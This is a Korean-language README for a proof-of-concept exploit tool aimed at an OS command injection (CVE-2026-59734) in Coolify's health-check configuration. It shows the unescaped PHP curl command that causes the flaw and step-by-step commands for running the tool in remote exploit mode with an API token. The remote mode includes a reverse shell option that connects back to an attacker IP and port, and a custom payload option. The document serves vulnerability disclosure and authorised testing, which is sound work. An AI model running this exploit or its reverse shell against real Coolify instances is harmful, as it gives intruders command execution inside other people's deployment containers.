🎯 취약점 정보

**Coolify**는 인기 있는 오픈소스 자체 호스팅 배포 플랫폼으로(GitHub 스타 30K+), Heroku, Vercel, Netlify의 무료 대안입니다.

Coolify의 헬스 체크 구성에서 치명적인 OS 명령어 주입 취약점이 발견되었습니다. health_check_host, health_check_method, health_check_path 파라미터가 어떠한 검증도 없이 셸 명령어에 직접 삽입되어, 인증된 사용자라면 누구나 배포 컨테이너 내부에서 임의의 명령어를 실행할 수 있습니다.

┌──────────────────┬──────────────────────────────────────┐
│ CVE ID           │ CVE-2026-59734                       │
│ Type             │ OS Command Injection (CWE-78)        │
│ Severity         │ HIGH — CVSS 8.8                      │
│ Attack Vector    │ Network (Authenticated)              │
│ Affected         │ Coolify <= v4.0.0-beta.460           │
│ Fixed In         │ Coolify >= v4.0.0-beta.469           │
│ Fix Commit       │ 23f9156c7                            │
│ Reporter         │ CyberTechAjju                        │
└──────────────────┴──────────────────────────────────────┘

// app/Jobs/ApplicationDeploymentJob.php — generate_healthcheck_commands()

// ⚠️ User input directly in shell command — NO escapeshellarg()!
$generated_healthchecks_commands = [
    "curl -s -X {$this->application->health_check_method} -f " .
    "{$this->application->health_check_scheme}://" .
    "{$this->application->health_check_host}:" .
    "{$health_check_port}" .
    "{$this->application->health_check_path} > /dev/null || exit 1",
];

🛠️ 이 도구의 기능

이 PoC 스크립트는 두 가지 모드로 CVE-2026-59734를 검증하고 익스플로잇합니다:

기능

• 🧪 로컬 테스트 4개 — host, method, path를 통한 주입 검증 + escapeshellarg() 수정이 동작하는지 확인
• 🔑 인증 검증 — 익스플로잇 시도 전에 API 토큰과 권한을 확인
• 📋 버전 탐지 — Coolify 버전을 감지하고 이미 패치된 경우 경고
• 🎯 증명 토큰 — 오탐(false positive)을 방지하기 위해 고유 토큰 사용
• 🐚 리버스 셸 모드 — --lhost / --lport를 사용하는 내장 리버스 셸 페이로드
• 🧹 정리 모드 — 익스플로잇 후 원래 헬스 체크 구성 복원
• 🛡️ 주입 검증 — 서버가 페이로드를 검증 없이 저장했는지 확인

⚡ 빠른 시작

로컬 검증 (안전 및 오프라인)

git clone https://github.com/cybertechajju/CVE-2026-59734.git
cd CVE-2026-59734
chmod +x coolify_healthcheck_rce_poc.sh

# Run safe local validation
./coolify_healthcheck_rce_poc.sh --local

예상 출력:

═══ LOCAL VULNERABILITY PATTERN VALIDATION ═══

┌─ Test 1: health_check_host injection
│  ✅ VULNERABLE — Injected command executed successfully

┌─ Test 2: health_check_method injection
│  ✅ VULNERABLE — Method parameter also injectable

┌─ Test 3: health_check_path injection
│  ✅ VULNERABLE — Path parameter also injectable

┌─ Test 4: Verify that escapeshellarg() fixes the issue
│  ✅ SAFE — Sanitized input prevents injection

원격 익스플로잇 (승인된 테스트 전용)

# Basic PoC — writes proof file inside the container
./coolify_healthcheck_rce_poc.sh --remote \
  --url https://your-coolify-instance:3000 \
  --token YOUR_API_TOKEN \
  --uuid YOUR_APP_UUID

# Reverse shell
./coolify_healthcheck_rce_poc.sh --remote \
  --url https://your-coolify-instance:3000 \
  --token YOUR_API_TOKEN \
  --uuid YOUR_APP_UUID \
  --lhost YOUR_IP \
  --lport 4444

# With auto-cleanup (restores original config after exploit)
./coolify_healthcheck_rce_poc.sh --remote \
  --url https://your-coolify-instance:3000 \
  --token YOUR_API_TOKEN \
  --uuid YOUR_APP_UUID \
  --cleanup

📋 전체 옵션

Usage:

  Local Validation (safe, offline):
    ./coolify_healthcheck_rce_poc.sh --local

  Remote Exploit (requires auth):
    ./coolify_healthcheck_rce_poc.sh --remote --url <URL> --token <TOKEN> --uuid <UUID> [OPTIONS]

Options:
  --url       Coolify instance URL (e.g. https://coolify.example.com)
  --token     API Bearer token
  --uuid      Target application UUID
  --payload   Custom injection payload
  --lhost     Attacker IP for reverse shell
  --lport     Attacker port for reverse shell (default: 4444)
  --cleanup   Restore original config after exploit

🔍 API 토큰 및 앱 UUID 얻는 방법

API 토큰:

1. Coolify 대시보드에 로그인하세요
2. 설정 → API 토큰으로 이동하세요
3. 새 토큰을 생성하세요

앱 UUID:

curl -s https://YOUR-COOLIFY/api/v1/applications \
  -H "Authorization: Bearer YOUR_TOKEN" | jq '.[].uuid'

📖 전체 라이트업

발견 과정, 익스플로잇, 그리고 얻은 교훈 전체를 설명하는 상세 블로그 글을 작성했습니다:

🔗 Coolify에서 OS 명령어 주입(RCE)을 발견한 방법 — Medium

🎥 동영상 워크스루

YouTube에서 전체 익스플로잇 데모를 시청하세요:

🔗 CVE-2026-59734 — Coolify RCE 데모 — YouTube

✅ 타임라인

⚠️ 법적 고지

이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.

이 PoC는 감사할 명시적이고 문서화된 권한을 보유한 시스템을 테스트하려는 보안 연구원과 버그 바운티 헌터를 위해 제작되었습니다. 소유하지 않은 시스템에 대한 무단 사용은 엄격히 금지되며, 지역, 주, 연방 법률을 위반할 수 있습니다.

저자(CyberTechAjju)는 어떠한 책임도 지지 않으며, 이 도구로 인해 발생한 오용이나 손해에 대해 책임을 지지 않습니다.